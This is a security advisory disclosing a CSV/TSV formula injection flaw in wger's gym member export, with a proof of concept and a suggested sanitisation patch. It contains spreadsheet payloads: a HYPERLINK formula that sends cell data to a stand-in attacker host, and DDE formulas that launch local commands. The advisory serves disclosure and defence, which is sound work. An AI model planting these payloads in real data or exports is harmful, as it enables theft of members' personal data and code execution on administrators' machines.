GHSA-xq9m-hmp9-fw87: wger: CSV/TSV formula injection in gym member export (first_name/last_name)
SummaryThe gym member TSV export endpoint in wger writes `first_name` and `last_name` profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.Details**File**: `wger/gym/views/export.py`, approximately line 73Python's `csv.writer` does not escape spreadsheet formula triggers (`=`, `+`, `-`, `@`, `\t`, `\r`). Any gym member can set their `first_name` to `=HYPERLINK("http://attacker.example/?p="&A1,"click")` via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.**Affected endpoints**:`GET /en/gym/export/users/<gym_pk>` -> `wger.gym.views.export` (TSV download)Profile fields injected via profile edit endpoint (first_name/last_name)**Suggested patch**:Prepending `'` to any cell value beginning with `=`, `+`, `-`, or `@` is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply `sanitise_cell` to all exported user-supplied fields, or subclass `csv.writer` to apply the sanitization globally for future fields.PoCTested on `wger/server:latest` Docker image. Test users: gym member (any registered user) and trainer1 (`manage_gym` permission).**Step 1** - Inject formula payload into profile (any gym member, including self-registered):URL-decoded value: `=HYPERLINK("http://attacker.example/x?p="&A1,"click")`**Step 2** - Gym admin exports member list:**Step 3** - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:Formula cell renders as clickable "click" hyperlink.On click (or on file-open with DDE-enabled Excel): browser issues `GET http://attacker.example/x?p=[cell_A1_contents]`.Attacker server receives exfiltrated spreadsheet data.Confirmed during testing: both `=cmd|calc.exe!A1` (DDE) and `=HYPERLINK(attacker.com)` payloads appear raw in the exported TSV response body.Reproducibility: 2/2 runs after clean-baseline database reset.ImpactAny gym member (including self-registered users) can inject a spreadsheet formula into their own `first_name` or `last_name`. When a gym administrator with `manage_gym` permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:**Data exfiltration**: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via `HYPERLINK` or `WEBSERVICE` functions.**Local code execution** (legacy Excel with DDE enabled): payloads like `=cmd|'/c calc.exe'!A1` execute arbitrary commands on the admin's workstation.**Phishing**: formulas can display admin-trusted text while silently redirecting on click.**Affected deployments**: every wger instance that delegates `manage_gym` to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.**Severity**: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.This is a standalone CWE-1236 vulnerability, independent of the `None != None` cluster of access-control findings. The fix is a small, local sanitization helper.
CVSS v3.1: 7.4